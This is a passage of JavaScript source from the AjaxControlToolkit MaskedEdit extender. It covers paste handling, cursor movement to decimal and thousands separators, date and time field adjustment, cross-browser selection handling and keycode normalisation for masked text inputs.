        curpos = this._deleteTextSelection();
        if (curpos == -1)
        {
            curpos = this._getCurrentPosition();
            if (BoundSel)
            {
                curpos = BoundSel.left;
            }
        }
        this.setSelectionRange(curpos,curpos);
        var ReturnPosDec = false;
        if (this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft && this._LogicLastInt != -1)
        {
            ReturnPosDec = true;
        }
        var i = 0;
        for (i = 0; i < value.length;i++)
        {
            var c = value.substring(i,i+1);
            var logiccur = curpos;
            if (ReturnPosDec)
            {
                logiccur = this._getLastEmptyPosition();
            }
            if ( (this._MaskType == AjaxControlToolkit.MaskedEditType.Time || this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime) && this.get_CultureFirstLettersAMPM().toUpperCase().indexOf(c.toUpperCase()) != -1)
            {
                if (this._AcceptAmPm)
                {
                    this.InsertAMPM(c);
                    this.setSelectionRange(curpos,curpos);
                }
            }
            else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._AcceptNegative != AjaxControlToolkit.MaskedEditShowSymbol.None && "+-".indexOf(c) != -1)
            {
                this.InsertSignal(c);
                this.setSelectionRange(curpos,curpos);
            }
            else
            {
                var OriPos = curpos;
                curpos = this._getNextPosition(curpos);
                var logiccur = curpos;
                if (this._LogicLastInt != -1 && this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)
                {
                    if (OriPos == this._LogicLastInt)
                    {
                        logiccur = this._getLastEmptyPosition();
                    }
                }
                else
                {
                    if (curpos >= this._LogicLastPos+1 && this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)
                    {
                        logiccur = this._getLastEmptyPosition();
                    }
                }
                if (this._processKey(logiccur,c)) 
                {
                    if (this._MessageValidatorTip) 
                    {
                        this.ShowTooltipMessage(false);
                    }
                    if (this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.LeftToRight)
                    {
                        this._insertContent(c,logiccur);
                        curpos = this._getNextPosition(logiccur+1);
                    } 
                    else if (this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)
                    {
                        if (this._LogicLastInt == -1)
                        {
                            if (curpos < this._LogicLastPos+1)
                            {
                                this._insertContent(c,logiccur);
                                curpos = this._getNextPosition(logiccur+1);
                            }
                            else
                            {
                                this._insertContentRight(c);
                                curpos = this._LogicLastPos+1;
                            }
                        }
                        else
                        {
                            if (OriPos != this._LogicLastInt)
                            {
                                this._insertContent(c,logiccur);
                                curpos = this._getNextPosition(logiccur+1);
                            }
                            else
                            {
                                this._insertContentRight(c);
                                curpos = this._LogicLastInt;
                            }
                        }
                    }
                    this.setSelectionRange(curpos,curpos);
                }
            }
        }
        if (ReturnPosDec)
        {
            this.setSelectionRange(this._LogicLastInt,this._LogicLastInt);
        }
    }
    //
    // Move cursor to decimal position (LeftToRight and RightToLeft Mode)
    //
    , _MoveDecimalPos : function()
    {
        var e = this.get_element();
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(e);
        var curpos = this._LogicFirstPos;
        var max = this._LogicLastPos;
        var posDc = -1;
        while (curpos < max)
        {
            if (wrapper.get_Value().substring(curpos,curpos+1) == this.get_CultureDecimalPlaceholder())
            {
                posDc = curpos;
                break;
            }
            curpos++;
        }
        if (posDc == -1)
        {
            return;
        }
        this.setSelectionRange(posDc,posDc);
    }
    //
    // Move cursor to next Thousand position (LeftToRight Mode)
    //
    , _MoveThousandLTR : function()
    {
        var e = this.get_element();
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(e);
        var curpos = this._getCurrentPosition();
        var max = this._LogicLastPos;
        var cur = curpos+1;
        var posTh = -1;
        while (cur < max)
        {
            if (wrapper.get_Value().substring(cur,cur+1) == this.get_CultureThousandsPlaceholder())
            {
                posTh = cur;
                break;
            }
            cur++;
        }
        if (posTh == -1)
        {
            var cur = 0;
            max = curpos;
            while (cur < max)
            {
                if (wrapper.get_Value().substring(cur,cur+1) == this.get_CultureThousandsPlaceholder())
                {
                    posTh = cur;
                    break;
                }
                cur++;
            }
            if (posTh == -1)
            {
                return;
            }
        }
        this.setSelectionRange(posTh,posTh);
    }
    //
    // Move cursor to next Thousand position (RightToLeft Mode)
    //
    , _MoveThousandRTL : function()
    {
        var e = this.get_element();
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(e);
        var curpos = this._getCurrentPosition();
        var min = this._LogicFirstPos;
        var cur = curpos-1;
        var posTh = -1;
        while (cur > min)
        {
            if (wrapper.get_Value().substring(cur,cur+1) == this.get_CultureThousandsPlaceholder())
            {
                posTh = cur;
                break;
            }
            cur--;
        }
        if (posTh == -1)
        {
            cur = this._LogicLastPos;
            min = curpos;
            while (cur > min)
            {
                if (wrapper.get_Value().substring(cur,cur+1) == this.get_CultureThousandsPlaceholder())
                {
                    posTh = cur;
                    break;
                }
                cur--;
            }
            if (posTh == -1)
            {
                return;
            }
        }
        this.setSelectionRange(posTh,posTh);
    }
    //
    // adjust element Number to Decimal position (LeftToRight Mode)
    //
    , _AdjustElementDecimalLTR : function()
    {
        var e = this.get_element();
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(e);
        var curpos = this._getCurrentPosition();
        if (wrapper.get_Value().substring(curpos).indexOf(this.get_CultureDecimalPlaceholder()) == -1)
        {
            //after decimal position
            return;
        }
        var value = wrapper.get_Value().substring(this._LogicFirstPos,this._LogicLastPos+1);
        var newcur = value.indexOf(this.get_CultureDecimalPlaceholder());
        if (newcur  == -1)
        {
            //decimal not exist
            return;
        }
        var arr_num;
        ClearText = this._getClearMask(wrapper.get_Value());
        if (ClearText != "")
        {
            ClearText = ClearText.replace(new RegExp("(\\" + this.get_CultureThousandsPlaceholder() + ")", "g"), "") + '';
            arr_num = ClearText.split(this.get_CultureDecimalPlaceholder());
        }
        else
        {
            arr_num =  this.get_CultureDecimalPlaceholder().split(this.get_CultureDecimalPlaceholder());
        }      
        if (arr_num[0] == "")
        {
            arr_num[0] = "0";
        }
        // fill decimal
        var QtdDec = value.length - newcur - 1;
        while (arr_num[1].length < QtdDec)
        {
            arr_num[1] += "0";
        }
        var OldDir = this._InputDirection;
        this._InputDirection = AjaxControlToolkit.MaskedEditInputDirections.RightToLeft;
        this.loadValue(arr_num[0] + this.get_CultureDecimalPlaceholder() + arr_num[1],this._LogicLastPos);
        this._InputDirection = OldDir;
        newcur += this._LogicFirstPos + 1;
        this.setSelectionRange(newcur,newcur);
    }
    //
    // adjust element Number to Decimal position (RightToleft Mode)
    //
    , _AdjustElementDecimalRTL : function()
    {
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
        var value = wrapper.get_Value().substring(this._LogicFirstPos,this._LogicLastPos+1);
        var posdec = value.indexOf(this.get_CultureDecimalPlaceholder());
        if (posdec == -1)
        {
            //decimal not exist
            return;
        }
        var curpos = this._getCurrentPosition();
        if (posdec + this._LogicFirstPos >= curpos)
        {
            //before decimal position , EXECUTE LTR MODE
            this._AdjustElementDecimalLTR();
            return;
        }
        var arr_num;
        ClearText = this._getClearMask(wrapper.get_Value());
        if (ClearText != "")
        {
            ClearText = ClearText.replace(new RegExp("(\\" + this.get_CultureThousandsPlaceholder() + ")", "g"), "") + '';
            arr_num = ClearText.split(this.get_CultureDecimalPlaceholder());
        }
        else
        {
            arr_num =  this.get_CultureDecimalPlaceholder().split(this.get_CultureDecimalPlaceholder());
        }      
        if (arr_num[0] == "")
        {
            arr_num[0] = "0";
        }
        // fill decimal
        var QtdDec = value.length - posdec - 1;
        while (arr_num[1].length < QtdDec)
        {
            arr_num[1] += "0";
        }
        var OldDir = this._InputDirection;
        this._InputDirection = AjaxControlToolkit.MaskedEditInputDirections.RightToLeft;
        this.loadValue(arr_num[0] + this.get_CultureDecimalPlaceholder() + arr_num[1],this._LogicLastPos);
        this._InputDirection = OldDir;
        posdec += this._LogicFirstPos + 1;
        this.setSelectionRange(posdec,posdec);
    }
    //
    // adjust Time Format 
    //
    , _AdjustTime : function(value,ValueDefault)
    {
        var emp = true;    
        var i
        for (i = 0 ; i < parseInt(value.length,10) ; i++) 
        {
            if (value.substring(i,i+1) != this._PromptChar)
            {
                emp = false;
            }
        }
        if (emp)
        {
           return ValueDefault;
        }
        var max = value.length;
        value = value.replace(new RegExp("(\\" + this._PromptChar + ")", "g"), "") + '';
        while (value.length < max)
        {
            value = "0" + value;
        }
        return value;
    }
    //
    // adjust Element Time Format 
    //
    , _AdjustElementTime : function()
    {
        var e = this.get_element();
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(e);
        var type = "";
        var curpos = this._getCurrentPosition() - this._LogicFirstPos;
        var m_mask = this._maskvalid;
        var newcur = curpos + this._LogicFirstPos;
        var QtdDt = 0;
        if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
        {
            QtdDt = m_mask.split(" ")[0].length+1;
            if (curpos < QtdDt)
            {
                newcur = QtdDt+this._LogicFirstPos;
                this.setSelectionRange(newcur,newcur);
                return;
            }
            // without am/pm, The AP/PM will get from this._LogicSymbol
            m_mask = m_mask.split(" ")[1];
            curpos -= QtdDt;
        }
        m_mask = m_mask.split(":");
        if (curpos <= 1)
        {
            type = "H";
            newcur = 3 + this._LogicFirstPos + QtdDt;
            
        } 
        else if (curpos >= 2 && curpos <= 4 && m_mask.length == 2)
        {
            type = "M";
            newcur = QtdDt+this._LogicFirstPos;
        }
        else if (curpos >= 2 && curpos <= 4 && m_mask.length == 3)
        {
            type = "M";
            newcur = 6 + this._LogicFirstPos + QtdDt;
        }
        else if (m_mask.length == 3)
        {
            type = "S";
            newcur = QtdDt+this._LogicFirstPos;
        } 
        if (type == "")
        {
            return;
        }
        var valueTM = wrapper.get_Value().substring(this._LogicFirstPos,this._LogicLastPos+1);
        if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
        {
            valueTM = valueTM.split(" ")[1];
        }
        var m_arrTime = valueTM.split(this.get_CultureTimePlaceholder());
        var elem = this._GetTimeElementText(type);
        var value;
        if (type == "H")
        {
            value = elem + this.get_CultureTimePlaceholder() + m_arrTime[1];
            if (m_arrTime.length == 3)
            {
                value += this.get_CultureTimePlaceholder() + m_arrTime[2];
            }
        }
        else if (type == "M")
        {
            value = m_arrTime[0] + this.get_CultureTimePlaceholder() + elem;
            if (m_arrTime.length == 3)
            {
                value += this.get_CultureTimePlaceholder() + m_arrTime[2];
            }
        }
        else if (type == "S")
        {
            value = m_arrTime[0] + this.get_CultureTimePlaceholder() + m_arrTime[1];
            value += this.get_CultureTimePlaceholder() + elem;
        }
        if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
        {
            value = wrapper.get_Value().substring(this._LogicFirstPos,QtdDt) + value;
        }
        this.loadMaskValue(value,this._LogicFirstPos,this._LogicSymbol);
        this.setSelectionRange(newcur,newcur);
    }
    //
    // Get Element Time
    //
    , _GetTimeElementText : function(Type)
    {
        var aux;
        var logiTxt = this._LogicTextMask.substring(this._LogicFirstPos,this._LogicLastPos+1);
        if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
        {
            logiTxt = logiTxt.substring(this._maskvalid.split(" ")[0].length+1);
        }
        var m_arrTime = logiTxt.split(this.get_CultureTimePlaceholder());
        m_arrTime[0] = m_arrTime[0].replace(new RegExp("(\\" + this._LogicPrompt + ")", "g"), this._PromptChar) + '';
        aux = m_arrTime[0].replace(new RegExp("(\\" + this._PromptChar + ")", "g"), "") + '';
        if (aux !="" && aux.length < 2)
        {
            aux = "0" + aux;
            m_arrTime[0] = aux;
        }
        
        m_arrTime[1] = m_arrTime[1].replace(new RegExp("(\\" + this._LogicPrompt + ")", "g"), this._PromptChar) + '';
        aux = m_arrTime[1].replace(new RegExp("(\\" + this._PromptChar + ")", "g"), "") + '';
        if (aux !="" && aux.length < 2)
        {
            aux = "0" + aux;
            m_arrTime[1] =  aux;
        }
        if (m_arrTime.length == 3)
        {
            m_arrTime[2] = m_arrTime[2].replace(new RegExp("(\\" + this._LogicPrompt + ")", "g"), this._PromptChar) + '';
            aux = m_arrTime[2].replace(new RegExp("(\\" + this._PromptChar + ")", "g"), "") + '';
            if (aux !="" && aux.length < 2)
            {
                aux = "0" + aux;
                m_arrTime[2] =  aux;
            }
        }
        if (Type == "H")
        {
            return m_arrTime[0];
        }
        else if (Type == "M")
        {
            return m_arrTime[1];
        }
        //Type == "S"
        return m_arrTime[2];
    }
    //
    // adjust Date Format 
    //
    , _AdjustElementDateTime : function(c)
    {
        if (c == this.get_CultureDatePlaceholder())
        {
            this._AdjustElementDate();
        }
        if (c == this.get_CultureTimePlaceholder())
        {
            this._AdjustElementTime();
        }
    }
    , _AdjustElementDate : function()
    {
        var e = this.get_element();
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(e);
        var input = wrapper.get_Value().substring(this._LogicFirstPos,this._LogicLastPos+1);
        if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
        {
            input = input.split(" ")[0];
        }
        var m_arrDate = input.split(this.get_CultureDatePlaceholder());
        var type = "";
        var curpos = this._getCurrentPosition() - this._LogicFirstPos;
        var newcur = curpos + this._LogicFirstPos;
        var QtdY = (this._maskvalid.indexOf("9999") != -1)?2:0;
        if (this.get_CultureDateFormat() == "DMY")
        {
           if (curpos <= 1)
           {
                type = "D";
                newcur = 3 + this._LogicFirstPos;
                
           } 
           else if (curpos >= 2 && curpos <= 4)
           {
                type = "M";
                newcur = 6 + this._LogicFirstPos;
           }
           else
           {
                if (curpos > 8 + QtdY &&  this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
                {
                    this.setSelectionRange(this._LogicFirstPos,this._LogicFirstPos);
                    return;
                }
                type = "Y";
                newcur = this._LogicFirstPos;
           } 
        }
        else if (this.get_CultureDateFormat() == "MDY")
        {
           if (curpos <= 1)
           {
                type = "M";
                newcur = 3 + this._LogicFirstPos;
                
           } 
           else if (curpos >= 2 && curpos <= 4)
           {
                type = "D";
                newcur = 6 + this._LogicFirstPos;
           }
           else
           {
                if (curpos > 8 + QtdY &&  this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
                {
                    this.setSelectionRange(this._LogicFirstPos,this._LogicFirstPos);
                    return;
                }
                type = "Y";
                newcur = this._LogicFirstPos;
           } 
        }
        else if (this.get_CultureDateFormat() == "DYM")
        {
           if (curpos <= 1)
           {
                type = "D";
                newcur = 3 + this._LogicFirstPos;
                
           } 
           else if (curpos >= 2 && curpos <= 4+QtdY)
           {
                type = "Y";
                newcur = 6 + QtdY + this._LogicFirstPos;
           }
           else
           {
                type = "M";
                newcur = this._LogicFirstPos;
           } 
        }
        else if (this.get_CultureDateFormat() == "MYD")
        {
           if (curpos <= 1)
           {
                type = "M";
                newcur = 3 + this._LogicFirstPos;
                
           } 
           else if (curpos >= 2 && curpos <= 4+QtdY)
           {
                type = "Y";
                newcur = 6 + QtdY + this._LogicFirstPos;
           }
           else
           {
                type = "D";
                newcur = this._LogicFirstPos;
           } 
        }
        else if (this.get_CultureDateFormat() == "YMD")
        {
           if (curpos <= 1+QtdY)
           {
                type = "Y";
                newcur = 3 + QtdY + this._LogicFirstPos;
                
           } 
           else if (curpos >= 2+ QtdY && curpos <= 4+QtdY)
           {
                type = "M";
                newcur = 6 + QtdY + this._LogicFirstPos;
           }
           else
           {
                type = "D";
                newcur = this._LogicFirstPos;
           } 
        }
        else if (this.get_CultureDateFormat() == "YDM")
        {
           if (curpos <= 1+QtdY)
           {
                type = "Y";
                newcur = 3 + QtdY + this._LogicFirstPos;
                
           } 
           else if (curpos >= 2+ QtdY && curpos <= 4+QtdY)
           {
                type = "D";
                newcur = 6 + QtdY + this._LogicFirstPos;
           }
           else
           {
                type = "M";
                newcur = this._LogicFirstPos;
           } 
        }            
        var elem = this._GetDateElementText(type);
        m_arrDate[this.get_CultureDateFormat().indexOf(type)] = elem; 
        var value = m_arrDate[0] + this.get_CultureDatePlaceholder() + m_arrDate[1] + this._CultureDatePlaceholder + m_arrDate[2];
        if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
        {
            var aux = wrapper.get_Value().substring(this._LogicFirstPos,this._LogicLastPos+1);
            if (aux.split(" ").length == 3)
            {
                value += " " + aux.split(" ")[1] + " " + aux.split(" ")[2];
            }
            else
            {
                value += " " + aux.split(" ")[1];
            }
        }
        this.loadMaskValue(value,this._LogicFirstPos,this._LogicSymbol);
        this.setSelectionRange(newcur,newcur);
    }
    //
    // Get Element Date 
    //
    , _GetDateElementText : function(Type)
    {
        var aux;
        var m_arrDate;
        if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
        {
            var auxdate = this._LogicTextMask.substring(this._LogicFirstPos,this._LogicLastPos+1).split(" ")[0];
            m_arrDate = auxdate.split(this.get_CultureDatePlaceholder());
        }
        else
        {
            m_arrDate = this._LogicTextMask.substring(this._LogicFirstPos,this._LogicLastPos+1).split(this.get_CultureDatePlaceholder());
        }
        m_arrDate[this.get_CultureDateFormat().indexOf("D")] = m_arrDate[this.get_CultureDateFormat().indexOf("D")].replace(new RegExp("(\\" + this._LogicPrompt + ")", "g"), this._PromptChar) + '';
        aux = m_arrDate[this.get_CultureDateFormat().indexOf("D")].replace(new RegExp("(\\" + this._PromptChar + ")", "g"), "") + '';
        if (aux !="" && aux.length < 2)
        {
            aux = "0" + aux;
            m_arrDate[this.get_CultureDateFormat().indexOf("D")] = aux
        }
        
        m_arrDate[this.get_CultureDateFormat().indexOf("M")] = m_arrDate[this.get_CultureDateFormat().indexOf("M")].replace(new RegExp("(\\" + this._LogicPrompt + ")", "g"), this._PromptChar) + '';
        aux = m_arrDate[this.get_CultureDateFormat().indexOf("M")].replace(new RegExp("(\\" + this._PromptChar + ")", "g"), "") + '';
        if (aux !="" && aux.length < 2)
        {
            aux = "0" + aux;
            m_arrDate[this.get_CultureDateFormat().indexOf("M")] =  aux;
        }
        
        var Y4 = (this._maskvalid.indexOf("9999") != -1)?true:false;
        m_arrDate[this.get_CultureDateFormat().indexOf("Y")] = m_arrDate[this.get_CultureDateFormat().indexOf("Y")].replace(new RegExp("(\\" + this._LogicPrompt + ")", "g"), this._PromptChar) + '';
        aux = m_arrDate[this.get_CultureDateFormat().indexOf("Y")].replace(new RegExp("(\\" + this._PromptChar + ")", "g"), "") + '';
        if (Y4)
        {
            if (aux !="" && aux.length < 4)
            {
                while (aux.length < 4)
                {
                    aux = "0" + aux;
                }
                m_arrDate[this.get_CultureDateFormat().indexOf("Y")] = aux;
            }
        }
        else
        {
            if (aux !="" && aux.length < 2)
            {
                aux = "0" + aux;
                m_arrDate[this.get_CultureDateFormat().indexOf("Y")] = aux;
            }
        }
        return m_arrDate[this.get_CultureDateFormat().indexOf(Type)];
    }
    //
    // Get Bound Selection
    //
    , _GetBoundSelection : function()
    {
        var ret = null;
        var input = this.get_element();
        if (input.setSelectionRange) 
        {
            if (input.selectionStart != input.selectionEnd)
            {
                ret = {left: parseInt(input.selectionStart,10),right: parseInt(input.selectionEnd,10)};
            }
        }    
        else if (document.selection) 
        {
            sel = document.selection.createRange();
            if (sel.text != "")
            {
                var tam = parseInt(sel.text.length,10);
                sel.text = String.fromCharCode(3) + sel.text;
                var dummy = input.createTextRange();
                dummy.findText(String.fromCharCode(3));
                dummy.select();
                var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(input);
                var pos = parseInt(wrapper.get_Value().indexOf(String.fromCharCode(3)),10);
                document.selection.clear();
                ret = {left: pos,right: pos+tam};
            }
        }
        return ret;
    }
    //
    // delete Selection
    //
    , _deleteTextSelection : function()
    {
        var input = this.get_element();
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(input);
        var masktext = wrapper.get_Value();
        var lenaux = -1;
        var begin = -1;
        var isDel = false;
        if (input.setSelectionRange) 
        {
            if (input.selectionStart != input.selectionEnd)
            {
                var ini = parseInt(input.selectionStart,10);
                var fim = parseInt(input.selectionEnd,10);
                isDel = true;
                lenaux = fim - ini;
                begin=input.selectionStart;
                input.selectionEnd = input.selectionStart;
            }
        }
        else if (document.selection) 
        {
            sel = document.selection.createRange();
            if (sel.text != "")
            {
                isDel = true;
                var aux = sel.text + String.fromCharCode(3);
                sel.text = aux;
                var dummy = input.createTextRange();
                dummy.findText(aux);
                dummy.select();
                begin = wrapper.get_Value().indexOf(aux);
                document.selection.clear();
                lenaux = parseInt(aux.length,10)-1;
            }
        }
        if (isDel)
        {
            for (i = 0 ; i < lenaux ; i++) 
            {
                if (this._isValidMaskedEditPosition(begin+i))
                {
                    masktext = masktext.substring(0,begin+i) + this._PromptChar + masktext.substring(begin+i+1);
                    this._LogicTextMask = this._LogicTextMask.substring(0,begin+i) + this._LogicPrompt + this._LogicTextMask.substring(begin+i+1);
                }
            }
            wrapper.set_Value(masktext);
            if (this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)
            {
                begin += lenaux;
            }
        }
        this._DirectSelText = "";
        return begin;
    }
    , _isNormalChar : function(evt,scanCode) {
        /// <summary>
        /// Returns true if the specified charCode is a key rather than a normal (displayable) character or Enter Key
        /// </summary>
        /// <param>
        ///  name="scanCode" type="integer" : keycode
        /// </param>
        /// <returns type="Boolean" />
        var ret = true;
        if (Sys.Browser.agent == Sys.Browser.Opera && evt.type == "keydown")
        {
            this._SaveKeyDown = scanCode;
        }
        if (scanCode < 32) { // < space
            ret = false;
        }
        else if (Sys.Browser.agent != Sys.Browser.InternetExplorer || evt.type == "keydown") 
        {
            switch (scanCode) 
            {
                case 33: //pg up or ! 
                    if (typeof(evt.rawEvent.which) != "undefined" && evt.rawEvent.which !=null)
                    {
                        if (evt.rawEvent.which == 0)
                        {
                            //pg up
                            ret = false;
                        }
                    }
                    break;
                case 34: //pg down  or " 
                    if (typeof(evt.rawEvent.which) != "undefined" && evt.rawEvent.which !=null)
                    {
                        if (evt.rawEvent.which == 0)
                        {
                            //pg down
                            ret = false;
                        }
                    }
                    break;
                case 35: //end   
                    if (Sys.Browser.agent == Sys.Browser.Opera && evt.type == "keypress")
                    {
                        //at opera keydown = 51 keypress = 35 = #
                        if (this._SaveKeyDown == 35) 
                        {
                            //END
                            ret = false;
                        }
                    }
                    else
                    {
                        ret = false;
                    }
                    break;
                case 36: //home
                    if (Sys.Browser.agent == Sys.Browser.Opera && evt.type == "keypress")
                    {
                        //at opera keydown = 52 keypress = 36 = $
                        if (this._SaveKeyDown == 36)
                        {
                            //home
                            ret = false;
                        }
                    }
                    else
                    {
                        ret = false;
                    }
                    break;
                case 37: //left  or % 
                    if (typeof(evt.rawEvent.which) != "undefined" && evt.rawEvent.which !=null)
                    {
                        if (evt.rawEvent.which == 0)
                        {
                            //left
                            ret = false;
                        }
                    }
                    break;
                case 38: //up or &
                    if (typeof(evt.rawEvent.which) != "undefined" && evt.rawEvent.which !=null)
                    {
                        if (evt.rawEvent.which == 0)
                        {
                            //up
                            ret = false;
                        }
                    }
                    break;
                case 39: //right or  '
                    if (typeof(evt.rawEvent.which) != "undefined" && evt.rawEvent.which !=null)
                    {
                        if (evt.rawEvent.which == 0)
                        {
                            //right
                            ret = false;
                        }
                    }
                    break;
                case 40: //down or (
                    if (typeof(evt.rawEvent.which) != "undefined" && evt.rawEvent.which !=null)
                    {
                        if (evt.rawEvent.which == 0)
                        {
                            //down
                            ret = false;
                        }
                    }
                    break;
                case 45: //ins - at opera Inconsistency with -
                    if (typeof(evt.rawEvent.which) != "undefined" && evt.rawEvent.which !=null && Sys.Browser.agent != Sys.Browser.Opera)
                    {
                        if (evt.rawEvent.which == 0)
                        {
                            ret = false;
                        }
                    }
                    // re-valid Ins for opera
                    else if (Sys.Browser.agent == Sys.Browser.Opera)   
                    {
                        //assume ins = char "-"
                        //at opera Shift-ins in MaskedEdit not execute
                        ret = true;
                    }
                    else
                    {
                        ret = false;
                    }
                    break;
                case 86: // V   
                case 118: // v
                    //ctrl press
                    if (!evt.rawEvent.shiftKey && evt.rawEvent.ctrlKey && !evt.rawEvent.altKey) 
                    {
                        ret = false;
                    }
                    break;
                case 46: //del FF ~ Mozilla - at opera Inconsistency with .
                    if (typeof(evt.rawEvent.which) != "undefined" && evt.rawEvent.which !=null && Sys.Browser.agent != Sys.Browser.Opera)
                    {
                        if (evt.rawEvent.which == 0)
                        {
                            ret = false;
                        }
                    }
                    else if (Sys.Browser.agent == Sys.Browser.Opera && evt.type == "keypress")
                    {
                        //at opera keydown = 78 keypress = 46 = . at numpad
                        if (this._SaveKeyDown == 127)
                        {
                            ret = false;
                        }
                    }
                    else
                    {
                        ret = false;
                    }
                    break;
                case 127: //del IE - at opera Inconsistency with .
                    ret = false;
                    break;
            }
        }        
        return ret;
    }
    , _KeyCode : function(evt) {
        /// <summary>
        /// Get Keycode for any browser
        /// and convert keycode Safari to IE Code
        /// </summary>
        /// <param>
        /// Event info name="evt" type="Sys.UI.DomEvent" 
        /// </param>
        /// <Return>
        /// Keycode value 
        /// </Return>
        scanCode = 0;
        if (evt.keyIdentifier) {
            if (evt.charCode == 63272) { //63272: 'KEY_DELETE', 46
                scanCode = 46;
            }
            else if (evt.charCode == 63302) { //63302: 'KEY_INSERT', 45
                scanCode = 45;
            }
            else if (evt.charCode == 63233) { //63233: 'KEY_ARROW_DOWN',40
                scanCode = 40;
            }
            else if (evt.charCode == 63235) { //63235: 'KEY_ARROW_RIGHT', 39
                scanCode = 39;
            }
            else if (evt.charCode == 63232) { //63232: 'KEY_ARROW_UP', 38
                scanCode = 38;
            }
            else if (evt.charCode == 63234) { //63234: 'KEY_ARROW_LEFT', 37
                scanCode = 37;
            }
            else if (evt.charCode == 63273) { //63273: 'KEY_HOME', 36
                scanCode = 36;
            }
            else if (evt.charCode == 63275) { //63275: 'KEY_END', 35
                scanCode = 35;
            }
            else if (evt.charCode == 63277) { //63277: 'KEY_PAGE_DOWN', 34
                scanCode = 34;
            }
            else if (evt.charCode == 63276) { //63276: 'KEY_PAGE_UP', 33
                scanCode = 33;
            }
            else if (evt.charCode == 3) { //3: 'KEY_ENTER', 13
                scanCode = 13;
            }
        }    
        if (scanCode == 0) {
            if (evt.charCode) {
                scanCode = evt.charCode;
            }
        }
        if (scanCode == 0) {
            scanCode = evt.keyCode;
        }
        return scanCode;
    }
    //
    // Init value startup
    //
    , _InitValue : function(value,loadFirst)
    {
        this._LogicSymbol = "";
        var e = this.get_element();
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(e);
        wrapper.set_Value(this._EmptyMask);
        if (value == this._EmptyMask || value == "")
        {
            this.loadValue("",this._LogicFirstPos);
        }
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Date && value != "")
        {
            value = this.ConvFmtDate(value,loadFirst);
        }
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Time && value != "")
        {
            value = this.ConvFmtTime(value,loadFirst);
        }
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime && value != "")
        {
            value = this.ConvFmtDateTime(value,loadFirst);
        }
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && value != "")
        {
            value = this.ConvFmtNumber(value,loadFirst);
        }
        if (this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.LeftToRight && value != "")
        {
            if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number)
            {
                this._InputDirection = AjaxControlToolkit.MaskedEditInputDirections.RightToLeft;
                this.loadValue(value,this._LogicLastPos);
                this._InputDirection = AjaxControlToolkit.MaskedEditInputDirections.LeftToRight;
            }
            else
            {
                this.loadValue(value,this._LogicFirstPos);
            }
        } 
        else if (this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft && value != "")
        {
            this.loadValue(value,this._LogicLastPos);
        }
        if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number)
        {
            if (this._InLostfocus && this._LogicSymbol == "-" && this._OnBlurCssNegative != "")
            {
                this.AddCssClassMaskedEdit(this._OnBlurCssNegative);
            }
        }
    }
    //
    // Load initial value with mask
    //
    , loadMaskValue : function(value,logicPosition, Symb)
    {
        this._createMask();
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
        wrapper.set_Value(this._EmptyMask);
        if ( (this._MaskType == AjaxControlToolkit.MaskedEditType.Time || this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime) && this.get_CultureFirstLettersAMPM().toUpperCase().indexOf(Symb.toUpperCase().substring(0,1)) != -1)
        {
            if (this._AcceptAmPm)
            {
                this.InsertAMPM(Symb.toUpperCase().substring(0,1));
            }
        }
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._AcceptNegative != AjaxControlToolkit.MaskedEditShowSymbol.None && "+-".indexOf(Symb) != -1)
        {
            this.InsertSignal(Symb);
        }
        var i = 0;
        for (i = 0 ; i < parseInt(value.length,10) ; i++) 
        {
            var c = value.substring(i+logicPosition,i+logicPosition+1);     
            if (this._processKey(logicPosition+i,c)) 
            {
                this._insertContent(c,logicPosition+i);
            }
        }
    }
    //
    // Load initial value in mask
    //
    , loadValue : function(value,logicPosition)
    {
        this._createMask();
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
        wrapper.set_Value(this._EmptyMask);
        if (this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.LeftToRight)
        {
            var i = 0;
            for (i = 0 ; i < parseInt(value.length,10) ; i++) 
            {
                var c = value.substring(i,i+1);     
                if ( (this._MaskType == AjaxControlToolkit.MaskedEditType.Time || this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime) && this.get_CultureFirstLettersAMPM().toUpperCase().indexOf(c.toUpperCase()) != -1)
                {
                    if (this._AcceptAmPm)
                    {
                        this.InsertAMPM(c);
                    }
                }
